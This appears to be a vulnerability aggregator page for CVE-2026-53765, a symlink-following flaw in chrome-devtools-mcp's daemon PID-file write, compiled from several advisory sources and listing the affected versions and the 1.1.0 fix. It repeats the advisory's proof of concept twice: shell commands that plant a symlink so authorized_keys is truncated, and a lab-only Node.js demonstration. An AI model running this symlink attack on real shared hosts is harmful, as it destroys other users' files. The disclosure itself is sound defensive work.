CVE-2026-53765
chrome-devtools-mcp: daemon.pid write follows symlinks in /tmp fallback runtime directory
Chrome DevTools for agents (chrome-devtools-mcp) lets your coding agent control and inspect a live Chrome browser. From 0.20.0 until 1.1.0, The chrome-devtools-mcp daemon writes its PID file with fs.writeFileSync() to a deterministic runtime path. On typical macOS environments, and on Linux sessions where $XDG_RUNTIME_DIR is unset, that runtime path falls back to /tmp/chrome-devtools-mcp-<uid>/daemon.pid. Because the write does not use O_NOFOLLOW, a local low-privilege user on the same POSIX host can pre-create /tmp/chrome-devtools-mcp-<victim_uid>/daemon.pid as a symlink to a file writable by the victim. When the victim later starts daemon mode, fs.writeFileSync() follows the symlink and truncates the target file to the daemon PID string. This vulnerability is fixed in 1.1.0.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- High
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
6.1
chrome-devtools-mcp: daemon.pid write follows symlinks in /tmp fallback runtime directory
Chrome DevTools for agents (chrome-devtools-mcp) lets your coding agent control and inspect a live Chrome browser. From 0.20.0 until 1.1.0, The chrome-devtools-mcp daemon writes its PID file with fs.writeFileSync() to a deterministic runtime path. On typical macOS environments, and on Linux sessions where $XDG_RUNTIME_DIR is unset, that runtime path falls back to /tmp/chrome-devtools-mcp-<uid>/daemon.pid. Because the write does not use O_NOFOLLOW, a local low-privilege user on the same POSIX host can pre-create /tmp/chrome-devtools-mcp-<victim_uid>/daemon.pid as a symlink to a file writable by the victim. When the victim later starts daemon mode, fs.writeFileSync() follows the symlink and truncates the target file to the daemon PID string. This vulnerability is fixed in 1.1.0.
- Record
CVE-2026-53765- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L - Weakness
- CWE-59
- Updated
- 2026-11-02
EUVDEUVD-2026-39105
6.1
Chrome DevTools for agents (chrome-devtools-mcp) lets your coding agent control and inspect a live Chrome browser. From 0.20.0 until 1.1.0, The chrome-devtools-mcp daemon writes its PID file with fs.writeFileSync() to a deterministic runtime path. On typical macOS environments, and on Linux sessions where $XDG_RUNTIME_DIR is unset, that runtime path falls back to /tmp/chrome-devtools-mcp-<uid>/daemon.pid. Because the write does not use O_NOFOLLOW, a local low-privilege user on the same POSIX host can pre-create /tmp/chrome-devtools-mcp-<victim_uid>/daemon.pid as a symlink to a file writable by the victim. When the victim later starts daemon mode, fs.writeFileSync() follows the symlink and truncates the target file to the daemon PID string. This vulnerability is fixed in 1.1.0.
- Record
EUVD-2026-39105- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-3pvj-jv98-qhjq
6.1
Chrome DevTools for agents: daemon.pid write follows symlinks in /tmp fallback runtime directory
Summary
The chrome-devtools-mcp daemon writes its PID file with fs.writeFileSync() to a deterministic runtime path. On typical macOS environments, and on Linux sessions where $XDG_RUNTIME_DIR is unset, that runtime path falls back to /tmp/chrome-devtools-mcp-<uid>/daemon.pid.
Because the write does not use O_NOFOLLOW, a local low-privilege user on the same POSIX host can pre-create /tmp/chrome-devtools-mcp-<victim_uid>/daemon.pid as a symlink to a file writable by the victim. When the victim later starts daemon mode, fs.writeFileSync() follows the symlink and truncates the target file to the daemon PID string.
This report is deliberately scoped to POSIX systems where the daemon falls back to /tmp: typical macOS environments and Linux sessions without $XDG_RUNTIME_DIR. Windows is out of scope because the default temp directory is per-user and symlink creation has additional privilege requirements.
Details
Affected code:
src/daemon/daemon.ts:38-42
const pidFilePath = getPidFilePath(sessionId);
fs.mkdirSync(path.dirname(pidFilePath), {
recursive: true,
});
fs.writeFileSync(pidFilePath, process.pid.toString());
src/daemon/utils.ts:49-68
export function getRuntimeHome(sessionId: string): string {
const platform = os.platform();
const uid = os.userInfo().uid;
const suffix = sessionId ? `-${sessionId}` : '';
const appName = APP_NAME + suffix;
if (process.env.XDG_RUNTIME_DIR) {
return path.join(process.env.XDG_RUNTIME_DIR, appName);
}
if (platform === 'darwin' || platform === 'linux') {
return path.join('/tmp', `${appName}-${uid}`);
}
return path.join(os.tmpdir(), appName);
}
The /tmp sticky bit prevents non-owner file removal, but it does not prevent another local user from creating a subdirectory under /tmp. If an attacker creates /tmp/chrome-devtools-mcp-<victim_uid>/ first and places a symlink at daemon.pid, the victim's daemon process follows that link when writing the PID.
Preconditions:
- The victim is on a typical macOS environment where
$XDG_RUNTIME_DIRis unset, or on a Linux system/session where$XDG_RUNTIME_DIRis unset. - The attacker has any local user account on the same host.
- The victim later runs a
chrome-devtoolsCLI path or MCP integration that starts daemon mode.
PoC
Realistic POSIX scenario:
# Attacker, before victim starts daemon mode.
victim_uid=1000
mkdir -p "/tmp/chrome-devtools-mcp-${victim_uid}"
chmod 0755 "/tmp/chrome-devtools-mcp-${victim_uid}"
ln -s "/home/victim/.ssh/authorized_keys" \
"/tmp/chrome-devtools-mcp-${victim_uid}/daemon.pid"
# Victim later starts daemon mode.
chrome-devtools start
# Result:
# fs.writeFileSync follows the symlink, so authorized_keys is truncated to
# the daemon PID string.
Lab-only PoC that touches only a fresh os.tmpdir()/cdtmcp-lab-* directory:
const fs = require('node:fs');
const os = require('node:os');
const path = require('node:path');
const lab = fs.mkdtempSync(path.join(os.tmpdir(), 'cdtmcp-lab-'));
try {
fs.chmodSync(lab, 0o755);
const victimSecret = path.join(lab, 'victim-secret.txt');
fs.writeFileSync(
victimSecret,
'IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED\n',
);
const runtimeDir = path.join(lab, 'attacker-pre-created');
fs.mkdirSync(runtimeDir, {recursive: true});
const pidFilePath = path.join(runtimeDir, 'daemon.pid');
fs.symlinkSync(victimSecret, pidFilePath);
// Exact pattern from src/daemon/daemon.ts:39-42.
fs.mkdirSync(path.dirname(pidFilePath), {recursive: true});
fs.writeFileSync(pidFilePath, process.pid.toString());
console.log(fs.readFileSync(victimSecret, 'utf8'));
// -> "<pid>" (victim file was truncated/overwritten)
} finally {
fs.rmSync(lab, {recursive: true, force: true});
}
Observed output from the lab PoC:
[setup] victim secret BEFORE attack:
IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED
[attack] symlink placed: <runtimeDir>/daemon.pid…
- Record
GHSA-3pvj-jv98-qhjq- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L - Weakness
- CWE-59
- Updated
- 2026-11-02
NVD
6.1
Chrome DevTools for agents (chrome-devtools-mcp) lets your coding agent control and inspect a live Chrome browser. From 0.20.0 until 1.1.0, The chrome-devtools-mcp daemon writes its PID file with fs.writeFileSync() to a deterministic runtime path. On typical macOS environments, and on Linux sessions where $XDG_RUNTIME_DIR is unset, that runtime path falls back to /tmp/chrome-devtools-mcp-<uid>/daemon.pid. Because the write does not use O_NOFOLLOW, a local low-privilege user on the same POSIX host can pre-create /tmp/chrome-devtools-mcp-<victim_uid>/daemon.pid as a symlink to a file writable by the victim. When the victim later starts daemon mode, fs.writeFileSync() follows the symlink and truncates the target file to the daemon PID string. This vulnerability is fixed in 1.1.0.
- Record
CVE-2026-53765- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L - Weakness
- CWE-59
- Updated
- 2026-11-02
OSV
6.1
chrome-devtools-mcp: daemon.pid write follows symlinks in /tmp fallback runtime directory
Chrome DevTools for agents (chrome-devtools-mcp) lets your coding agent control and inspect a live Chrome browser. From 0.20.0 until 1.1.0, The chrome-devtools-mcp daemon writes its PID file with fs.writeFileSync() to a deterministic runtime path. On typical macOS environments, and on Linux sessions where $XDG_RUNTIME_DIR is unset, that runtime path falls back to /tmp/chrome-devtools-mcp-<uid>/daemon.pid. Because the write does not use O_NOFOLLOW, a local low-privilege user on the same POSIX host can pre-create /tmp/chrome-devtools-mcp-<victim_uid>/daemon.pid as a symlink to a file writable by the victim. When the victim later starts daemon mode, fs.writeFileSync() follows the symlink and truncates the target file to the daemon PID string. This vulnerability is fixed in 1.1.0.
- Record
CVE-2026-53765- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L - Weakness
- CWE-59
- Updated
- 2026-11-02
OSVGHSA-3pvj-jv98-qhjq
6.1
Chrome DevTools for agents: daemon.pid write follows symlinks in /tmp fallback runtime directory
Summary
The chrome-devtools-mcp daemon writes its PID file with fs.writeFileSync() to a deterministic runtime path. On typical macOS environments, and on Linux sessions where $XDG_RUNTIME_DIR is unset, that runtime path falls back to /tmp/chrome-devtools-mcp-<uid>/daemon.pid.
Because the write does not use O_NOFOLLOW, a local low-privilege user on the same POSIX host can pre-create /tmp/chrome-devtools-mcp-<victim_uid>/daemon.pid as a symlink to a file writable by the victim. When the victim later starts daemon mode, fs.writeFileSync() follows the symlink and truncates the target file to the daemon PID string.
This report is deliberately scoped to POSIX systems where the daemon falls back to /tmp: typical macOS environments and Linux sessions without $XDG_RUNTIME_DIR. Windows is out of scope because the default temp directory is per-user and symlink creation has additional privilege requirements.
Details
Affected code:
src/daemon/daemon.ts:38-42
const pidFilePath = getPidFilePath(sessionId);
fs.mkdirSync(path.dirname(pidFilePath), {
recursive: true,
});
fs.writeFileSync(pidFilePath, process.pid.toString());
src/daemon/utils.ts:49-68
export function getRuntimeHome(sessionId: string): string {
const platform = os.platform();
const uid = os.userInfo().uid;
const suffix = sessionId ? `-${sessionId}` : '';
const appName = APP_NAME + suffix;
if (process.env.XDG_RUNTIME_DIR) {
return path.join(process.env.XDG_RUNTIME_DIR, appName);
}
if (platform === 'darwin' || platform === 'linux') {
return path.join('/tmp', `${appName}-${uid}`);
}
return path.join(os.tmpdir(), appName);
}
The /tmp sticky bit prevents non-owner file removal, but it does not prevent another local user from creating a subdirectory under /tmp. If an attacker creates /tmp/chrome-devtools-mcp-<victim_uid>/ first and places a symlink at daemon.pid, the victim's daemon process follows that link when writing the PID.
Preconditions:
- The victim is on a typical macOS environment where
$XDG_RUNTIME_DIRis unset, or on a Linux system/session where$XDG_RUNTIME_DIRis unset. - The attacker has any local user account on the same host.
- The victim later runs a
chrome-devtoolsCLI path or MCP integration that starts daemon mode.
PoC
Realistic POSIX scenario:
# Attacker, before victim starts daemon mode.
victim_uid=1000
mkdir -p "/tmp/chrome-devtools-mcp-${victim_uid}"
chmod 0755 "/tmp/chrome-devtools-mcp-${victim_uid}"
ln -s "/home/victim/.ssh/authorized_keys" \
"/tmp/chrome-devtools-mcp-${victim_uid}/daemon.pid"
# Victim later starts daemon mode.
chrome-devtools start
# Result:
# fs.writeFileSync follows the symlink, so authorized_keys is truncated to
# the daemon PID string.
Lab-only PoC that touches only a fresh os.tmpdir()/cdtmcp-lab-* directory:
const fs = require('node:fs');
const os = require('node:os');
const path = require('node:path');
const lab = fs.mkdtempSync(path.join(os.tmpdir(), 'cdtmcp-lab-'));
try {
fs.chmodSync(lab, 0o755);
const victimSecret = path.join(lab, 'victim-secret.txt');
fs.writeFileSync(
victimSecret,
'IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED\n',
);
const runtimeDir = path.join(lab, 'attacker-pre-created');
fs.mkdirSync(runtimeDir, {recursive: true});
const pidFilePath = path.join(runtimeDir, 'daemon.pid');
fs.symlinkSync(victimSecret, pidFilePath);
// Exact pattern from src/daemon/daemon.ts:39-42.
fs.mkdirSync(path.dirname(pidFilePath), {recursive: true});
fs.writeFileSync(pidFilePath, process.pid.toString());
console.log(fs.readFileSync(victimSecret, 'utf8'));
// -> "<pid>" (victim file was truncated/overwritten)
} finally {
fs.rmSync(lab, {recursive: true, force: true});
}
Observed output from the lab PoC:
[setup] victim secret BEFORE attack:
IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED
[attack] symlink placed: <runtimeDir>/daemon.pid…
- Record
GHSA-3pvj-jv98-qhjq- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L - Weakness
- CWE-59
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
chrome-devtools-mcpnpm |
0.20.0 to 1.0.1 | 1.1.0 |
chrome-devtools-mcpnpm |
0.20.0 up to 1.1.0 | 1.1.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-53765 is a medium vulnerability (CVSS 6.1) in Chromedevtools Chrome-devtools-mcp, published June 17, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.10%, the 1st percentile. Fixed in chrome-devtools-mcp 1.1.0.
References
Left out here: the rest of 2 source descriptions. The JSON record has them.